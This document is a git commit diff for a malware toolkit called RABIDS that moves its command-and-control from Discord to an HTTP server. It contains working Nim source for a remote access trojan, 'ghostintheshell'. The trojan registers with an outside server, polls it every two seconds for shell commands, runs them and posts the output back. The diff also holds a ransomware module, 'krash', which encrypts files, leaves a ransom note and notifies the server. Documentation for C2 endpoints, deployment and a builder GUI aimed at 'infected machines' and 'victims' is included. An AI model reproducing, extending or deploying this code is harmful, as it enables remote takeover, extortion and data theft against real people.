HTTP SERVER

This commit is contained in:
Abdullah Sarwar
2025-12-07 18:28:04 +05:00
parent 1379bae3fc
commit 5a2988fd7f
6 changed files with 143 additions and 408 deletions

68
DOC.md
View File

@ -74,6 +74,63 @@ If you place `ghostintheshell` first, the `undeleteme` module will never run.
---
## Communication Method: HTTP Server
RABIDS modules use an **HTTP server** for command and control (C2) and notifications.
### HTTP Server
The HTTP server is the communication method for all C2 modules.
**Advantages:**
- Reliable and fast
- No rate limits or API restrictions
- Easy to set up and manage
- Perfect for production deployments
**Required Endpoints:**
Your HTTP server should implement these endpoints:
- `POST /notify` - Receives notifications from infected machines
- `POST /register` - Registers new infected machines
- `GET /commands/{hostname}` - Returns commands for a specific machine
- `POST /response` - Receives command output from machines
- `GET /ping` - Health check endpoint
**Modules using HTTP communication:**
- `ghostintheshell` - Remote access trojan
- `krash` - Ransomware notifications
- `bankruptsys` - ATM malware
### Setting Up Your HTTP Server
An example HTTP server implementation is included: `http_server_example.py`
**Quick Start:**
```bash
# Run the example server
python3 http_server_example.py
# Or specify custom host/port
python3 http_server_example.py --host 0.0.0.0 --port 8080
```
The example server provides:
- Machine registration and tracking
- Command queuing and delivery
- Response collection
- Notification handling
- Simple web API for manual C2
**For Production:**
- Deploy the server on a VPS or cloud instance
- Use a reverse proxy (nginx/caddy) with HTTPS
- Implement authentication and encryption
- Add database storage for persistence
- Set up logging and monitoring
---
## Module: `ctrlvamp`
**Description:**
@ -113,15 +170,15 @@ A data exfiltration tool that collects files from a specified directory, compres
## Module: `ghostintheshell`
**Description:**
Provides a covert reverse shell by leveraging the Discord API. The payload connects to Discord as a bot and listens for commands from a specific user, allowing for remote command execution on the victim's machine.
Provides a covert reverse shell via HTTP server communication. The payload connects to your HTTP C2 server for remote command execution.
**How it works:**
The payload logs into Discord using the provided bot token. It then waits for messages from the specified `creatorId`. Any message received from that user is executed as a shell command, and the output is sent back as a message to the same Discord channel.
The payload connects to your HTTP server, registers itself, and polls for commands every 2 seconds. Commands are executed and results are sent back via HTTP POST.
**Options:**
- `discordToken`: The authentication token for your Discord bot.
- `creatorId`: Your unique Discord user ID. The bot will only accept commands from this user to prevent unauthorized access.
- `serverUrl`: The URL of your HTTP C2 server (e.g., `http://your-server.com:8080`).
---
@ -142,8 +199,11 @@ A ransomware module that encrypts files within a target directory. After encrypt
- `extension`: The file extension to append to encrypted files (e.g., `.locked`).
- `targetDir`: The directory whose contents will be encrypted.
- `htmlContent`: The HTML content of the ransom note that will be displayed to the victim.
- `serverUrl`: Your HTTP server URL for notifications.
- `decrypt` (Internal): Set to `true` to build a decryptor instead of an encryptor. This is used by the "UNKRASH" tab.
**Note:** After encryption completes, the module sends a notification to your HTTP server.
---
## Module: `poof`

View File

@ -1,7 +1,7 @@
import strutils, tables, os, dynlib, streams, osproc, sequtils, json
when not defined(xfs):
import dimscord, asyncdispatch, times, options, httpclient, threadpool, random
import asyncdispatch, times, httpclient, threadpool, random
when defined(windows):
import winim/lean as winlean, winim/com
@ -701,9 +701,7 @@ proc loadState(output: Stream) =
when not defined(xfs):
const
discordToken* = "YOUR_DISCORD_BOT_TOKEN"
creatorId* = "YOUR_DISCORD_USER_ID"
let discord = newDiscordClient(discordToken)
serverUrl* = "http://localhost:8080"
var
currentDir = getCurrentDir()

View File

@ -1,9 +1,7 @@
import dimscord, asyncdispatch, times, options, httpclient, osproc, os, strutils, json, threadpool, streams, random
import asyncdispatch, times, httpclient, osproc, os, strutils, json, threadpool, streams, random
const
discordToken* = ""
creatorId* = ""
let discord = newDiscordClient(discordToken)
serverUrl* = "http://localhost:8080"
var
currentDir = getCurrentDir()
@ -51,31 +49,8 @@ proc runCommandWithTimeoutKill(cmd: string, timeoutMs: int): Future[string] {.as
discard execShellCmd("kill -9 " & $pidHolder[])
return "Command timed out and was terminated after " & $(timeoutMs div 1000) & " seconds."
proc sendMessage(channelId: string, content: string): Future[Message] {.async.} =
result = await discord.api.sendMessage(channelId, content)
proc sendLongMessage(channelId: string, content: string): Future[void] {.async.} =
const maxLen = 1980 # Leave room for code block characters
if content.len == 0:
discard await discord.api.sendMessage(channelId, "```\n(Command executed with no output)\n```")
var remaining = content
while remaining.len > 0:
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
discard await discord.api.sendMessage(channelId, "```\n" & chunk & "\n```")
if remaining.len > maxLen:
remaining = remaining[maxLen .. ^1]
else:
remaining = ""
proc sendFile(channelId: string, filePath: string, fileName: string): Future[void] {.async.} =
let fileContent = readFile(filePath)
discard await discord.api.sendMessage(
channelId,
files = @[DiscordFile(name: fileName, body: fileContent)]
)
proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[string] {.async.} =
proc handleCommand(rawCmd: string, client: HttpClient): Future[string] {.async.} =
let cmd = rawCmd.strip()
if cmd == "!help":
return """Available Commands:
@ -111,8 +86,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
return currentDir
elif cmd == "!sysinfo":
var resultMsg: string
const maxLen = 1900
when defined(linux):
let (unameOut, unameExit) = execCmdEx("uname -a", options = {poUsePath}, workingDir = currentDir)
let (lsbOut, lsbExit) = execCmdEx("bash -c \"lsb_release -d 2>/dev/null\"", options = {poUsePath}, workingDir = currentDir)
@ -120,50 +93,25 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
var info = unameOut
if lsbExit == 0 and lsbOut.len > 0:
info &= "\n" & lsbOut
var remaining = info
while remaining.len > 0:
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
if remaining.len > maxLen:
remaining = remaining[maxLen .. ^1]
else:
remaining = ""
resultMsg = "System info sent."
return info
else:
resultMsg = "Failed to get system info: " & unameOut
return "Failed to get system info: " & unameOut
elif defined(windows):
let powershellScript = "Get-ComputerInfo | ConvertTo-Json"
let command = "powershell -NoProfile -WindowStyle Hidden -Command \"" & powershellScript & "\""
let (output, exitCode) = execCmdEx(command, options = {poUsePath}, workingDir = currentDir)
if exitCode != 0:
resultMsg = "command failed with exit code " & $exitCode & ":\n" & output
return "command failed with exit code " & $exitCode & ":\n" & output
else:
var remaining = output
while remaining.len > 0:
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
if remaining.len > maxLen:
remaining = remaining[maxLen .. ^1]
else:
remaining = ""
resultMsg = "System info sent."
return output
elif defined(macosx):
let (output, exitCode) = execCmdEx("system_profiler SPHardwareDataType", options = {poUsePath}, workingDir = currentDir)
if exitCode != 0:
resultMsg = "command failed with exit code " & $exitCode & ":\n" & output
return "command failed with exit code " & $exitCode & ":\n" & output
else:
var remaining = output
while remaining.len > 0:
let chunk = if remaining.len > maxLen: remaining[0 ..< maxLen] else: remaining
discard await sendMessage(m.channel_id, "```\n" & chunk & "\n```")
if remaining.len > maxLen:
remaining = remaining[maxLen .. ^1]
else:
remaining = ""
resultMsg = "System info sent."
return output
else:
resultMsg = "sysinfo not supported on this platform."
return resultMsg
return "sysinfo not supported on this platform."
elif cmd.startsWith("!cd "):
let newDir = cmd[3..^1].strip()
@ -190,14 +138,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
except CatchableError as e:
return "failed to download file: " & e.msg
elif cmd.startsWith("!download "):
let fileName = cmd[9..^1].strip()
let filePath = joinPath(currentDir, fileName)
if fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
return "download successful"
else:
return "file not found: " & filePath
elif cmd.startsWith("!mkdir "):
let dirName = cmd[6..^1].strip()
@ -235,41 +175,6 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
else:
return "no such file or directory: " & path
elif cmd == "!screencapture":
when defined(macosx):
let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg"
let filePath = joinPath(currentDir, fileName)
let (output, exitCode) = execCmdEx("screencapture -x " & filePath)
if exitCode == 0 and fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
if fileExists(filePath):
removeFile(filePath)
return "screenshot taken, sent and deleted!"
else:
return "failed to take screenshot: " & output
elif defined(windows):
let fileName = "screenshot_" & $now().toTime().toUnix() & ".png"
let filePath = joinPath(currentDir, fileName)
let powershellScript = """
Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing
$bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$bitmap.Save('%1', [System.Drawing.Imaging.ImageFormat]::Png)
"""
let command = "powershell -Command \"" & powershellScript.replace("%1", filePath.replace("\\", "\\\\")) & "\""
let (output, exitCode) = execCmdEx(command)
if exitCode == 0 and fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
if fileExists(filePath):
removeFile(filePath)
return "Screenshot taken, sent and deleted!"
else:
return "failed to take screenshot: " & output
else:
return "screencapture not supported on this platform."
else:
try:
@ -313,60 +218,51 @@ proc generateSessionId(): string =
var machineName: string
proc onReady(s: Shard, r: Ready) {.event(discord).} =
proc httpServerMode() {.async.} =
echo "Starting HTTP server mode..."
machineName = getEnv("MACHINE_NAME", generateSessionId())
if machineName notin sessionRegistry:
sessionRegistry.add(machineName)
# Register with server
try:
let dm = await discord.api.createUserDm(creatorId)
discard await discord.api.sendMessage(dm.id, machineName & " is live!")
except:
echo "Could not send startup message to creator ID: ", creatorId
proc messageCreate(s: Shard, m: Message) {.event(discord).} =
var client = newHttpClient()
let content = m.content.strip()
echo "Processing command: ", content
if content == "!sessions":
let sessionList = if sessionRegistry.len == 0: "No active sessions." else: sessionRegistry.join("\n")
discard await sendMessage(m.channel_id, sessionList)
return
elif content == "!ping":
let before = epochTime() * 1000
let msg = await discord.api.sendMessage(m.channel_id, "ping?")
let after = epochTime() * 1000
discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.")
let client = newHttpClient()
let data = "{\"hostname\":\"" & machineName & "\",\"status\":\"live\"}"
client.headers = newHttpHeaders({"Content-Type": "application/json"})
discard client.postContent(serverUrl & "/register", body = data)
echo machineName & " registered with HTTP server"
except Exception as e:
echo "Failed to register with HTTP server: ", e.msg
return
if content.startsWith("!") and not content.startsWith("!sessions") and not content.startsWith("!ping"):
let parts = content.split(' ', 1)
let firstWord = parts[0]
let isTargeted = firstWord.len > 1 and firstWord.startsWith("!") and not firstWord.startsWith("!!")
if isTargeted:
# Command is like "!session-name !command"
let targetName = firstWord[1..^1]
if targetName == machineName:
let commandToRun = if parts.len > 1: parts[1].strip() else: ""
if commandToRun.len > 0 and commandToRun.startsWith("!"):
try:
let output = await handleCommand(commandToRun, m, client)
if output.len > 0:
await sendLongMessage(m.channel_id, output)
except CatchableError as e:
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg)
else:
discard await sendMessage(m.channel_id, machineName & " is here!")
else:
try:
let output = await handleCommand(content, m, client)
if output.len > 0:
await sendLongMessage(m.channel_id, output)
except CatchableError as e:
echo "Error executing command: ", e.msg
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg)
# Poll for commands
while true:
try:
let client = newHttpClient()
let response = client.getContent(serverUrl & "/commands/" & machineName)
if response.len > 0:
let cmdData = parseJson(response)
if cmdData.hasKey("command"):
let cmd = cmdData["command"].getStr()
echo "Received command: ", cmd
let output = await handleCommand(cmd, client)
# Send response back
let respData = "{\"hostname\":\"" & machineName & "\",\"output\":\"" & output.replace("\"", "\\\"") & "\"}"
client.headers = newHttpHeaders({"Content-Type": "application/json"})
discard client.postContent(serverUrl & "/response", body = respData)
except Exception as e:
echo "Error in command loop: ", e.msg
await sleepAsync(2000) # Poll every 2 seconds
proc main() =
waitFor discord.startSession()
if serverUrl.len == 0:
echo "Error: Server URL not configured"
return
try:
let client = newHttpClient()
discard client.getContent(serverUrl & "/ping")
echo "HTTP server is available at: ", serverUrl
waitFor httpServerMode()
except Exception as e:
echo "Failed to connect to HTTP server: ", e.msg
echo "Please check server URL and ensure server is running"

View File

@ -1,4 +1,4 @@
import os, nimcrypto, strutils, osproc, dimscord, asyncdispatch, options
import os, nimcrypto, strutils, osproc, asyncdispatch, httpclient
const defaultHtml = """
<!DOCTYPE html>
@ -55,8 +55,7 @@ const key* = "0123456789abcdef0123456789abcdef"
const iv* = "abcdef9876543210"
const extension* = ".locked"
var htmlContent* = "YOUR_HTML_RANSOM_NOTE_CONTENT_HERE"
const discordToken* = "YOUR_DISCORD_BOT_TOKEN"
const creatorId* = "YOUR_DISCORD_USER_ID"
const serverUrl* = "http://localhost:8080"
proc processFile(file: string, key: string, iv: string, extension: string) =
try:
@ -128,18 +127,19 @@ proc getHostname(): string =
let machineName = getHostname()
proc sendDiscordMessage(message: string) {.async.} =
if discordToken.len == 0 or creatorId.len == 0:
echo "Discord token or creator ID is missing. Skipping notification."
proc sendNotification(message: string) {.async.} =
if serverUrl.len == 0:
echo "Server URL not configured. Skipping notification."
return
let discord = newDiscordClient(discordToken)
try:
let dm = await discord.api.createUserDm(creatorId)
discard await discord.api.sendMessage(dm.id, machineName & ": " & message)
let client = newHttpClient()
let data = "{\"hostname\":\"" & machineName & "\",\"message\":\"" & message & "\"}"
client.headers = newHttpHeaders({"Content-Type": "application/json"})
let response = client.postContent(serverUrl & "/notify", body = data)
echo "Notification sent to HTTP server: ", message
except Exception as e:
echo "Failed to send Discord message: ", e.msg
echo "Failed to send notification to HTTP server: ", e.msg
proc main() =
when defined(decrypt):
@ -192,5 +192,5 @@ proc main() =
echo "Ransom note created at ", ransomFile
except OSError as e:
echo "Error creating or opening ransom note: ", e.msg
waitFor sendDiscordMessage("Encryption complete")
waitFor sendNotification("Encryption complete")

243
main.py
View File

@ -15,8 +15,6 @@ from PyQt5.QtWidgets import (
import json
from PyQt5.QtGui import QFont, QPixmap, QMovie, QIcon
from PyQt5.QtCore import Qt, QThread, pyqtSignal, QObject, QTimer, QUrl
import discord
import asyncio
ASCII = r"""
"""
@ -78,8 +76,7 @@ MODULE_OPTIONS = {
'dumpsterFile': '$HOME/dumpster.dat'
},
'module/ghostintheshell': {
'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
'creatorId': 'YOUR_DISCORD_USER_ID'
'serverUrl': 'http://localhost:8080'
},
'module/krash': {
'key': '0123456789abcdef0123456789abcdef',
@ -87,8 +84,7 @@ MODULE_OPTIONS = {
'extension': '.locked',
'targetDir': '$HOME/Documents',
'htmlContent': DEFAULT_KRASH_HTML,
'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
'creatorId': 'YOUR_DISCORD_USER_ID',
'serverUrl': 'http://localhost:8080'
},
'module/poof': {
'targetDir': '$HOME/Documents'
@ -102,8 +98,7 @@ MODULE_OPTIONS = {
'embedFiles': 'path/to/driver.sys,path/to/cert.pem'
},
'module/bankruptsys': {
'discordToken': 'YOUR_DISCORD_BOT_TOKEN',
'creatorId': 'YOUR_DISCORD_USER_ID',
'serverUrl': 'http://localhost:8080'
},
'module/winkrashv2': {
'key': 'secret',
@ -112,145 +107,6 @@ MODULE_OPTIONS = {
}
class DiscordListener(QObject):
device_status_update = pyqtSignal(str, str)
def __init__(self, token, creator_id=None):
super().__init__()
self.token = token
self.creator_id = creator_id
intents = discord.Intents.default()
intents.message_content = True
self.client = discord.Client(intents=intents)
@self.client.event
async def on_ready():
print(f'GUI Listener logged in as {self.client.user}')
self.device_status_update.emit("SYSTEM", f"Connected to Discord as {self.client.user}")
creator_found = False
if self.creator_id:
try:
creator = await self.client.fetch_user(int(self.creator_id))
if not creator:
self.device_status_update.emit("ERROR", f"Could not find creator with ID: {self.creator_id}")
return
self.device_status_update.emit("SYSTEM", f"Fetching DM history with {creator.name}...")
await self.fetch_history(creator)
creator_found = True
except (ValueError, discord.NotFound):
self.device_status_update.emit("ERROR", f"Could not find creator with ID: {self.creator_id}")
except discord.Forbidden:
self.device_status_update.emit("ERROR", "Bot does not have permission to fetch DM history.")
if not creator_found:
self.device_status_update.emit("SYSTEM", "No Creator ID provided or user not found. Only listening for new DMs.")
@self.client.event
async def on_message(message):
is_dm = isinstance(message.channel, discord.DMChannel)
is_from_creator = self.creator_id and str(message.author.id) == self.creator_id
if is_dm and is_from_creator:
self.process_encryption_message(message.content)
async def fetch_history(self, user):
"""Fetches and processes historical messages from a user."""
async for msg in user.history(limit=100):
if ':' in msg.content and 'encryption complete' in msg.content.lower():
self.process_encryption_message(msg.content)
def process_encryption_message(self, content):
if ':' in content and 'encryption complete' in content.lower():
hostname = content.split(':', 1)[0].strip()
self.device_status_update.emit(hostname, "Encrypted")
async def run_client(self):
try:
await self.client.start(self.token)
except discord.LoginFailure:
self.device_status_update.emit("ERROR", "Discord login failed. Check the token.")
async def stop_client(self):
if self.client:
await self.client.close()
class DiscordC2Client(QObject):
"""Handles Discord connection and communication for the C2 tab."""
log_message = pyqtSignal(str, str)
connection_status = pyqtSignal(bool)
def __init__(self, token, target_user_id):
super().__init__()
self.token = token
self.target_user_id = target_user_id
self.target_user = None
intents = discord.Intents.default()
intents.messages = True
intents.dm_messages = True
intents.message_content = True
self.client = discord.Client(intents=intents)
@self.client.event
async def on_ready():
self.log_message.emit(f"C2 client logged in as {self.client.user}", "success")
try:
self.target_user = await self.client.fetch_user(int(self.target_user_id))
self.log_message.emit(f"Connected to target user '{self.target_user.name}'.", "success")
self.connection_status.emit(True)
except (ValueError, discord.NotFound):
self.log_message.emit(f"Could not find target user with ID: {self.target_user_id}", "error")
await self.stop_client()
except discord.Forbidden:
self.log_message.emit("Bot does not have permission to fetch user.", "error")
await self.stop_client()
@self.client.event
async def on_message(message):
is_dm = isinstance(message.channel, discord.DMChannel)
if is_dm:
content = message.content.strip()
if content:
if content.startswith("```") and content.endswith("```"):
content = re.sub(r"```(plaintext\n)?|```", "", content).strip()
self.log_message.emit(content, "c2_recv")
if message.attachments:
for attachment in message.attachments:
self.log_message.emit(f"Received file: <a href='{attachment.url}'>{attachment.filename}</a>", "c2_recv")
async def send_dm(self, content):
if self.target_user:
try:
sent_content = content.strip()
await self.target_user.send(sent_content)
self.log_message.emit(sent_content, "c2_sent")
return True
except discord.Forbidden:
self.log_message.emit("Cannot send DMs to this user. Check permissions.", "error")
return False
except Exception as e:
self.log_message.emit(f"Failed to send DM: {str(e)}", "error")
return False
else:
self.log_message.emit("Not connected to a target user.", "error")
return False
async def run_client(self):
try:
await self.client.start(self.token)
except discord.LoginFailure:
self.log_message.emit("C2 client login failed. Check the token.", "error")
self.connection_status.emit(False)
except Exception as e:
self.log_message.emit(f"C2 client error: {str(e)}", "error")
self.connection_status.emit(False)
async def stop_client(self):
if self.client and self.client.is_ready():
await self.client.close()
self.log_message.emit("C2 client disconnected.", "system")
self.connection_status.emit(False)
class BuildThread(QThread):
log_signal = pyqtSignal(str, str)
@ -290,71 +146,6 @@ class BuildThread(QThread):
self.log_signal.emit(f"An unexpected error occurred during build: {e}", "error")
self.finished_signal.emit(-1)
class DiscordListenerThread(QThread):
device_status_update = pyqtSignal(str, str)
def __init__(self, token, creator_id=None):
super().__init__()
self.token = token
self.creator_id = creator_id
self.listener = None
self.loop = None
def run(self):
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
listener = DiscordListener(self.token, self.creator_id)
listener.device_status_update.connect(self.device_status_update)
self.listener = listener
self.loop.run_until_complete(listener.run_client())
def refresh_messages(self):
if self.loop and self.listener and self.listener.client and self.listener.client.is_ready():
if self.creator_id:
async def do_refresh():
try:
creator = await self.listener.client.fetch_user(int(self.creator_id))
if creator:
self.device_status_update.emit("SYSTEM", f"Refreshing DM history with {creator.name}...")
await self.listener.fetch_history(creator)
self.device_status_update.emit("SYSTEM", "Refresh complete.")
except Exception as e:
self.device_status_update.emit("ERROR", f"Failed to refresh: {e}")
self.loop.call_soon_threadsafe(self.loop.create_task, do_refresh())
def stop(self):
if self.loop and self.listener:
self.loop.call_soon_threadsafe(self.loop.create_task, self.listener.stop_client())
self.device_status_update.emit("SYSTEM", "Disconnected from Discord.")
class C2Thread(QThread):
"""Runs the Discord C2 client in a separate thread."""
log_message = pyqtSignal(str, str)
connection_status = pyqtSignal(bool)
def __init__(self, token, target_user_id):
super().__init__()
self.token = token
self.target_user_id = target_user_id
self.c2_client = None
self.loop = None
def run(self):
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
self.c2_client = DiscordC2Client(self.token, self.target_user_id)
self.c2_client.log_message.connect(self.log_message)
self.c2_client.connection_status.connect(self.connection_status)
self.loop.run_until_complete(self.c2_client.run_client())
def send_message(self, content):
if self.loop and self.c2_client and self.c2_client.client.is_ready():
asyncio.run_coroutine_threadsafe(self.c2_client.send_dm(content), self.loop)
def stop(self):
if self.loop and self.c2_client:
asyncio.run_coroutine_threadsafe(self.c2_client.stop_client(), self.loop)
class DependencyInstallerThread(QThread):
log_signal = pyqtSignal(str, str)
@ -434,8 +225,6 @@ class RABIDSGUI(QMainWindow):
self.selected_modules = []
self.loading_movie = None
self.build_thread = None
self.discord_thread = None
self.c2_thread = None
self.installer_thread = None
self.option_inputs = {}
self.current_option_values = {}
@ -874,7 +663,7 @@ class RABIDSGUI(QMainWindow):
left_column_layout.addLayout(devices_header_layout)
live_devices_desc_label = QLabel("This panel displays a live list of devices successfully encrypted by the 'krash' module.\n"
"Devices appear here after reporting back via the Discord listener.")
"Devices report back via HTTP server.")
live_devices_desc_label.setFont(subtitle_font)
live_devices_desc_label.setStyleSheet("color: #FFF100;")
live_devices_desc_label.setWordWrap(True)
@ -925,7 +714,7 @@ class RABIDSGUI(QMainWindow):
c2_header_layout.addWidget(c2_title)
c2_left_layout.addLayout(c2_header_layout)
c2_desc = QLabel("Connect to RAT to send commands to and receive output from the 'ghostintheshell' payload. \nControl victim's device remotely")
c2_desc = QLabel("Connect to RAT to send commands to and receive output from the 'ghostintheshell' payload.\nCommunication via HTTP Server\nControl victim's device remotely")
c2_desc.setFont(subtitle_font)
c2_desc.setStyleSheet("color: #00A9FD;")
c2_desc.setWordWrap(True)
@ -986,17 +775,11 @@ class RABIDSGUI(QMainWindow):
setting_layout.addSpacing(10)
return setting_layout
listener_token_label = QLabel("Listener Bot Token")
self.settings_discord_token_edit = QLineEdit()
listener_token_desc = "The authentication token for the Discord bot. Used by the KRASH listener and C2 functionality."
listener_layout = create_setting_layout(listener_token_label.text(), self.settings_discord_token_edit, listener_token_desc)
settings_layout.addLayout(listener_layout)
listener_creator_id_label = QLabel("Discord User ID")
self.settings_listener_creator_id_edit = QLineEdit()
listener_creator_id_desc = "Your Discord user ID. The GUI listener bot will only accept commands and DMs from this user."
listener_creator_id_layout = create_setting_layout(listener_creator_id_label.text(), self.settings_listener_creator_id_edit, listener_creator_id_desc)
settings_layout.addLayout(listener_creator_id_layout)
server_url_label = QLabel("HTTP Server URL")
self.settings_server_url_edit = QLineEdit()
server_url_desc = "The URL of your HTTP C2 server. Example: http://your-server.com:8080"
server_url_layout = create_setting_layout(server_url_label.text(), self.settings_server_url_edit, server_url_desc)
settings_layout.addLayout(server_url_layout)
settings_layout.addSpacing(20)
@ -1825,8 +1608,7 @@ class RABIDSGUI(QMainWindow):
"output_dir": self.restore_output_dir_edit.text()
},
"listener": {
"token": self.settings_discord_token_edit.text(),
"creator_id": self.settings_listener_creator_id_edit.text()
"server_url": self.settings_server_url_edit.text()
}
}
try:
@ -1866,8 +1648,7 @@ class RABIDSGUI(QMainWindow):
self.restore_output_dir_edit.setText(gc_cfg.get("output_dir", ""))
listener_cfg = config.get("listener", {})
self.settings_discord_token_edit.setText(listener_cfg.get("token", ""))
self.settings_listener_creator_id_edit.setText(listener_cfg.get("creator_id", ""))
self.settings_server_url_edit.setText(listener_cfg.get("server_url", "http://localhost:8080"))
except (json.JSONDecodeError, KeyError) as e:
print(f"Error loading settings from config file: {e}")